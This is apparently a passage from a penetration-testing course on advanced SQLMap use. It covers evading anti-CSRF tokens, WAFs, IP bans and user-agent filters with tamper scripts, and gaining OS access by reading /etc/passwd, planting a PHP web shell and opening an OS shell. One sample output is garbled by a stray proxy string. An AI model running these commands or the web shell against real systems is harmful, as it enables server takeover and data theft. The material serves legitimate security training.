

Advanced SQLi Map

There won't be any protection(s) deployed on the target side in an ideal scenario, thus not preventing automatic exploitation. Otherwise, we can expect problems when running an automated tool of any kind against such a target. Nevertheless, many mechanisms are incorporated into SQLMap, which can help us successfully bypass such protections.

Anti-CSRF Token Bypass

One of the first lines of defense against the usage of automation tools is the incorporation of anti-CSRF (i.e., Cross-Site Request Forgery) tokens into all HTTP requests, especially those generated as a result of web-form filling.

In most basic terms, each HTTP request in such a scenario should have a (valid) token value available only if the user actually visited and used the page. While the original idea was the prevention of scenarios with malicious links, where just opening these links would have undesired consequences for unaware logged-in users (e.g., open administrator pages and add a new user with predefined credentials), this security feature also inadvertently hardened the applications against the (unwanted) automation.

Nevertheless, SQLMap has options that can help in bypassing anti-CSRF protection. Namely, the most important option is `--csrf-token`. By specifying the token parameter name (which should already be available within the provided request data), SQLMap will automatically attempt to parse the target response content and search for fresh token values so it can use them in the next request.

Additionally, even in a case where the user does not explicitly specify the token's name via `--csrf-token`, if one of the provided parameters contains any of the common infixes (i.e. `csrf`, `xcsrf`, `token`), the user will be prompted whether to update it in further requests:

```
mayala@htb[/htb] $ sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xA0fjRkE" --csrf-token="csrf-token" ____H____
____[,]____ ____ {1.4.9} |_ -| . ['] | .' | . | |____|_ [)]_||_|_|_|_|_|_|_|_|
|_|V... |_| http://sqlmap.org [*] starting @ 22:18:01 /2020-09-18/ POST
parameter 'csrf-token' appears to hold anti-CSRF token. Do you want sqlmap to
automatically update it in further requests? [y/N] y
```

Unique Value Bypass

In some cases, the web application may only require unique values to be provided inside predefined parameters. Such a mechanism is similar to the anti-CSRF technique described above, except that there is no need to parse the web page content. So, by simply ensuring that each request has a unique value for a predefined parameter, the web application can easily prevent CSRF attempts while at the same time averting some of the automation tools. For this, the option `--randomize` should be used, pointing to the parameter name containing a value which should be randomized before being sent:

```
mayala@htb[/htb] $ sqlmap -u "http://www.example.com/?id=1&rp=29125" --
randomize=rp --batch -v 5 | grep URI URI: http://www.example.com:80/?
id=1&rp=99954 URI: http://www.example.com:80/?id=1&rp=87216 URI:
http://www.example.com:80/?id=9030&rp=36456 URI: http://www.example.com:80/?
id=1.%2C%29%29%27.%28%28%2C%22&rp=16689 URI: http://www.example.com:80/?
id=1%27xaFUVK%3C%27%22%3EHKtQrg&rp=40049 URI: http://www.example.com:80/?
id=1%29%20AND%209368%3D6381%20AND%20%287422%3D7422&rp=95185
```

Calculated Parameter Bypass

Another similar mechanism is where a web application expects a proper parameter value to be calculated based on some other parameter value(s). Most often, one parameter value has to contain the message digest (e.g. `h=MD5(id)`) of another one. To bypass this, the option `--eval` should be used, where a valid Python code is being evaluated just before the request is being sent to the target:

```
mayala@htb[/htb] $ sqlmap -u "http://www.example.com/?
id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;
h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI URI:
http://www.example.com:80/?id=1&h=c4ca4238a0b923820dcc509a6f75849b URI:
http://www.example.com:80/?id=1&h=c4ca4238a0b923820dcc509a6f75849b URI:
http://www.example.com:80/?id=9061&h=4d7e0d72898ae7ea3593eb5ebf20c744 URI:
http://www.example.com:80/?
id=1%2C.%2C%27%22.%2C%28.%29&h=620460a56536e2d32fb2f4842ad5a08d URI:
http://www.example.com:80/?
id=1%27MyipGP%3C%27%22%3EibjjSu&h=db7c815825b14d67aaa32da09b8b2d42 URI:
http://www.example.com:80/?
id=1%29%20AND%209978%socks4://177.39.187.70:33283socks4://177.39.187.70:332833D
1232%20AND%20%284955%3D4955&h=02312acd4ebe69e2528382dfff7fc5cc
```

IP Address Concealing

In case we want to conceal our IP address, or if a certain web application has a protection mechanism that blacklists our current IP address, we can try to use a proxy or the anonymity network Tor. A proxy can be set with the option `--proxy` (e.g. `--proxy="socks4://177.39.187.70:33283"`), where we should add a working proxy.

In addition to that, if we have a list of proxies, we can provide them to SQLMap with the option `--proxy-file`. This way, SQLMap will go sequentially through the list, and in case of any problems (e.g., blacklisting of IP address), it will just skip from current to the next from the list. The other option is Tor network use to provide an easy to use anonymization, where our IP can appear anywhere from a large list of Tor exit nodes. When properly installed on the local machine, there should be a `SOCKS4` proxy service at the local port 9050 or 9150. By using switch `--tor`, SQLMap will automatically try to find the local port and use it appropriately.

If we wanted to be sure that Tor is properly being used, to prevent unwanted behavior, we could use the switch `--check-tor`. In such cases, SQLMap will connect to the `https://check.torproject.org/` and check the response for the intended result (i.e., `Congratulations` appears inside).

WAF Bypass

Whenever we run SQLMap, As part of the initial tests, SQLMap sends a predefined malicious looking payload using a non-existent parameter name (e.g. `?pfov=...`) to test for the existence of a WAF (Web Application Firewall). There will be a substantial change in the response compared to the original in case of any protection between the user and the target. For example, if one of the most popular WAF solutions (ModSecurity) is implemented, there should be a `406 - Not Acceptable` response after such a request.

In case of a positive detection, to identify the actual protection mechanism, SQLMap uses a third-party library [identYwaf](#), containing the signatures of 80 different WAF solutions. If we wanted to skip this heuristical test altogether (i.e., to produce less noise), we can use switch `--skip-waf`.

User-agent Blacklisting Bypass

In case of immediate problems (e.g., HTTP error code 5XX from the start) while running SQLMap, one of the first things we should think of is the potential blacklisting of the default user-agent used by SQLMap (e.g. `User-agent: sqlmap/1.4.9 (http://sqlmap.org)`).

This is trivial to bypass with the switch `--random-agent`, which changes the default user-agent with a randomly chosen value from a large pool of values used by browsers.

Note: If some form of protection is detected during the run, we can expect problems with the target, even other security mechanisms. The main reason is the continuous development and new improvements in such protections, leaving smaller and smaller maneuver space for attackers.

Tamper Scripts

Finally, one of the most popular mechanisms implemented in SQLMap for bypassing WAF/IPS solutions is the so-called "tamper" scripts. Tamper scripts are a special kind of (Python) scripts written for modifying requests just before being sent to the target, in most cases to bypass some protection.

For example, one of the most popular tamper scripts [between](#) is replacing all occurrences of greater than operator (>) with `NOT BETWEEN 0 AND #`, and the equals operator (=) with `BETWEEN # AND #`. This way, many primitive protection mechanisms (focused mostly on preventing XSS attacks) are easily bypassed, at least for SQLi purposes.

Tamper scripts can be chained, one after another, within the `--tamper` option (e.g. `--tamper=between,randomcase`), where they are run based on their predefined priority. A priority is predefined to prevent any unwanted behavior, as some scripts modify payloads by modifying their SQL syntax (e.g. [ifnull2ifisnull](#)). In contrast, some tamper scripts do not care about the inner content (e.g. [appendnullbyte](#)).

Tamper scripts can modify any part of the request, although the majority change the payload content. The most notable tamper scripts are the following:

Tamper-Script	Description
<code>0eunion</code>	Replaces instances of UNION with <code>e0UNION</code>
<code>base64encode</code>	Base64-encodes all characters in a given payload
<code>between</code>	Replaces greater than operator (>) with <code>NOT BETWEEN 0 AND #</code> and equals operator (=) with <code>BETWEEN # AND #</code>
<code>commalesslimit</code>	Replaces (MySQL) instances like <code>LIMIT M, N</code> with <code>LIMIT N OFFSET M</code> counterpart
<code>equaltolike</code>	Replaces all occurrences of operator equal (=) with <code>LIKE</code> counterpart
<code>halfversionedmorekeywords</code>	Adds (MySQL) versioned comment before each keyword
<code>modsecurityversioned</code>	Embraces complete query with (MySQL) versioned comment
<code>modsecurityzeroversioned</code>	Embraces complete query with (MySQL) zero-versioned comment

Tamper-Script	Description
percentage	Adds a percentage sign (%) in front of each character (e.g. SELECT -> %S%E%L%E%C%T)
plus2concat	Replaces plus operator (+) with (MySQL) function CONCAT() counterpart
randomcase	Replaces each keyword character with random case value (e.g. SELECT -> SEleCt)
space2comment	Replaces space character () with comments ` /
space2dash	Replaces space character () with a dash comment (--) followed by a random string and a new line (\n)
space2hash	Replaces (MySQL) instances of space character () with a pound character (#) followed by a random string and a new line (\n)
space2mysqlblank	Replaces (MySQL) instances of space character () with a random blank character from a valid set of alternate characters
space2plus	Replaces space character () with plus (+)
space2randomblank	Replaces space character () with a random blank character from a valid set of alternate characters
symboliclogical	Replaces AND and OR logical operators with their symbolic counterparts (&& and \)
versionedkeywords	Encloses each non-function keyword with (MySQL) versioned comment
versionedmorekeywords	Encloses each keyword with (MySQL) versioned comment

To get a whole list of implemented tamper scripts, along with the description as above, switch `-list-tampers` can be used. We can also develop custom Tamper scripts for any custom type of attack, like a second-order SQLi.

Miscellaneous Bypasses

Out of other protection bypass mechanisms, there are also two more that should be mentioned. The first one is the `Chunked` transfer encoding, turned on using the switch `--chunked`, which splits the POST request's body into so-called "chunks." Blacklisted SQL keywords are split between chunks in a way that the request containing them can pass unnoticed.

The other bypass mechanisms is the `HTTP parameter pollution (HPP)`, where payloads are split in a similar way as in case of `--chunked` between different same parameter named values

(e.g. `?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users...`), which are concatenated by the target platform if supporting it (e.g. ASP).

OS Exploitation

SQLMap has the ability to utilize an SQL Injection to read and write files from the local system outside the DBMS. SQLMap can also attempt to give us direct command execution on the remote host if we had the proper privileges.

File Read/Write

The first part of OS Exploitation through an SQL Injection vulnerability is reading and writing data on the hosting server. Reading data is much more common than writing data, which is strictly privileged in modern DBMSes, as it can lead to system exploitation, as we will see. For example, in MySQL, to read local files, the DB user must have the privilege to `LOAD DATA` and `INSERT` , to be able to load the content of a file to a table and then reading that table.

An example of such a command is:

- `LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE passwd;`

While we do not necessarily need to have database administrator privileges (DBA) to read data, this is becoming more common in modern DBMSes. The same applies to other common databases. Still, if we do have DBA privileges, then it is much more probable that we have file-read privileges.

Checking for DBA Privileges

To check whether we have DBA privileges with SQLMap, we can use the `--is-dba` option:

```
mayala@htb[/htb] $ sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba ____
__H__ __ __[)]____ __ __ {1.4.11#stable} |_ -| . [)] | .'| . | |____|_
[""]_|_|_|_|_,|_| |_|V... |_| http://sqlmap.org [*] starting @ 17:31:55 /2020-11-
19/ [17:31:55] [INFO] resuming back-end DBMS 'mysql' [17:31:55] [INFO] testing
connection to the target URL sqlmap resumed the following injection point(s)
from stored session: ...SNIP... current user is DBA: False [*] ending @ 17:31:56
/2020-11-19
```

As we can see, if we test that on one of the previous exercises, we get `current user is DBA: False` , meaning that we do not have DBA access. If we tried to read a file using SQLMap, we

would get something like:

```
[17:31:43] [INFO] fetching file: '/etc/passwd'
[17:31:43] [ERROR] no data retrieved
```

To test OS exploitation, let's try an exercise in which we do have DBA privileges, as seen in the questions at the end of this section:

```
mayala@htb[/htb] $ sqlmap -u "http://www.example.com/?id=1" --is-dba ____H__ ____
____["]____ ____ {1.4.11#stable} |_ -| . ['] | .'| . | |____|_ ["]_|_|_|_,|
_| |_|V... |_| http://sqlmap.org [*] starting @ 17:37:47 /2020-11-19/ [17:37:47]
[INFO] resuming back-end DBMS 'mysql' [17:37:47] [INFO] testing connection to
the target URL sqlmap resumed the following injection point(s) from stored
session: ...SNIP... current user is DBA: True [*] ending @ 17:37:48 /2020-11-
19/
```

We see that this time we get `current user is DBA: True`, meaning that we may have the privilege to read local files.

Reading Local Files

Instead of manually injecting the above line through SQLi, SQLMap makes it relatively easy to read local files with the `--file-read` option:

```
mayala@htb[/htb] $ sqlmap -u "http://www.example.com/?id=1" --file-read
"/etc/passwd" ____H__ ____ ____[])____ ____ {1.4.11#stable} |_ -| . []) |
.'| . | |____|_ [])_|_|_|_,| |_| |_|V... |_| http://sqlmap.org [*] starting @
17:40:00 /2020-11-19/ [17:40:00] [INFO] resuming back-end DBMS 'mysql'
[17:40:00] [INFO] testing connection to the target URL sqlmap resumed the
following injection point(s) from stored session: ...SNIP... [17:40:01] [INFO]
fetching file: '/etc/passwd' [17:40:01] [WARNING] time-based comparison requires
larger statistical model, please wait..... (done)
[17:40:07] [WARNING] in case of continuous data retrieval problems you are
advised to try a switch '--no-cast' or switch '--hex' [17:40:07] [WARNING]
unable to retrieve the content of the file '/etc/passwd', going to fall-back to
simpler UNION technique [17:40:07] [INFO] fetching file: '/etc/passwd' do you
want confirmation that the remote file '/etc/passwd' has been successfully
downloaded from the back-end DBMS file system? [Y/n] y [17:40:14] [INFO] the
local file '~/sqlmap/output/www.example.com/files/_etc_passwd' and the remote
file '/etc/passwd' have the same size (982 B) files saved to [1]: [*]
```

```
~/sqlmap/output/www.example.com/files/_etc_passwd (same file) [*] ending @  
17:40:14 /2020-11-19/
```

As we can see, SQLMap said `files saved` to a local file. We can `cat` the local file to see its content:

```
mayala@htb[/htb] $ cat ~/.sqlmap/output/www.example.com/files/_etc_passwd  
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin ...SNIP...
```

We have successfully retrieved the remote file.

Writing Local Files

When it comes to writing files to the hosting server, it becomes much more restricted in modern DBMSes, since we can utilize this to write a Web Shell on the remote server, and hence get code execution and take over the server.

This is why modern DBMSes disable file-write by default and need certain privileges for DBA's to be able to write files. For example, in MySQL, the `--secure-file-priv` configuration must be manually disabled to allow writing data into local files using the `INTO OUTFILE` SQL query, in addition to any local access needed on the host server, like the privilege to write in the directory we need.

Still, many web applications require the ability for DBMSes to write data into files, so it is worth testing whether we can write files to the remote server. To do that with SQLMap, we can use the `--file-write` and `--file-dest` options. First, let's prepare a basic PHP web shell and write it into a `shell.php` file:

```
mayala@htb[/htb] $ echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

Now, let's attempt to write this file on the remote server, in the `/var/www/html/` directory, the default server webroot for Apache. If we didn't know the server webroot, we will see how SQLMap can automatically find it.

```
mayala@htb[/htb] $ sqlmap -u "http://www.example.com/?id=1" --file-write  
"shell.php" --file-dest "/var/www/html/shell.php" ____H__ ____ ['']____ ____  
____ {1.4.11#stable} |_ -| . [() | .'| . | |____|_ [,]_|_|_|____,|_| |_|V... |_|  
http://sqlmap.org [*] starting @ 17:54:18 /2020-11-19/ [17:54:19] [INFO]  
resuming back-end DBMS 'mysql' [17:54:19] [INFO] testing connection to the  
target URL sqlmap resumed the following injection point(s) from stored session:  
...SNIP... do you want confirmation that the local file 'shell.php' has been
```



```
successfully written on the back-end DBMS file system
('/var/www/html/shell.php')? [Y/n] y [17:54:28] [INFO] the local file
'shell.php' and the remote file '/var/www/html/shell.php' have the same size (31
B) [*] ending @ 17:54:28 /2020-11-19/
```

We see that SQLMap confirmed that the file was indeed written:

```
[17:54:28] [INFO] the local file 'shell.php' and the remote file
'/var/www/html/shell.php' have the same size (31 B)
```

Now, we can attempt to access the remote PHP shell, and execute a sample command:

```
mayala@htb[/htb] $ curl http://www.example.com/shell.php?cmd=ls+-la total 148
drwxrwxrwt 1 www-data www-data 4096 Nov 19 17:54 . drwxr-xr-x 1 www-data www-
data 4096 Nov 19 08:15 .. -rw-rw-rw- 1 mysql mysql 188 Nov 19 07:39 basic.php
...SNIP...
```

We see that our PHP shell was indeed written on the remote server, and that we do have command execution over the host server.

OS Command Execution

Now that we confirmed that we could write a PHP shell to get command execution, we can test SQLMap's ability to give us an easy OS shell without manually writing a remote shell. SQLMap utilizes various techniques to get a remote shell through SQL injection vulnerabilities, like writing a remote shell, as we just did, writing SQL functions that execute commands and retrieve output or even using some SQL queries that directly execute OS command, like `xp_cmdshell` in Microsoft SQL Server. To get an OS shell with SQLMap, we can use the `--os-shell` option, as follows:

```
mayala@htb[/htb] $ sqlmap -u "http://www.example.com/?id=1" --os-shell ____H____
____[.]_____ {1.4.11#stable} |_-|.[]|. '||. |____|_
["]_|_|_|_,|_|_|V... |_| http://sqlmap.org [*] starting @ 18:02:15 /2020-11-
19/ [18:02:16] [INFO] resuming back-end DBMS 'mysql' [18:02:16] [INFO] testing
connection to the target URL sqlmap resumed the following injection point(s)
from stored session: ...SNIP... [18:02:37] [INFO] the local file
'/tmp/sqlmapmswx18kp12261/lib_mysqludf_sys8kj7u1jp.so' and the remote file
'./libslpjs.so' have the same size (8040 B) [18:02:37] [INFO] creating UDF
'sys_exec' from the binary UDF file [18:02:38] [INFO] creating UDF 'sys_eval'
from the binary UDF file [18:02:39] [INFO] going to use injected user-defined
functions 'sys_eval' and 'sys_exec' for operating system command execution
```


As we can see, this time SQLMap successfully dropped us into an easy interactive remote shell, giving us easy remote code execution through this SQLi.

Note: SQLMap first asked us for the type of language used on this remote server, which we know is PHP. Then it asked us for the server web root directory, and we asked SQLMap to automatically find it using 'common location(s)'. Both of these options are the default options, and would have been automatically chosen if we added the '--batch' option to SQLMap.

With this, we have covered all of the main functionality of SQLMap.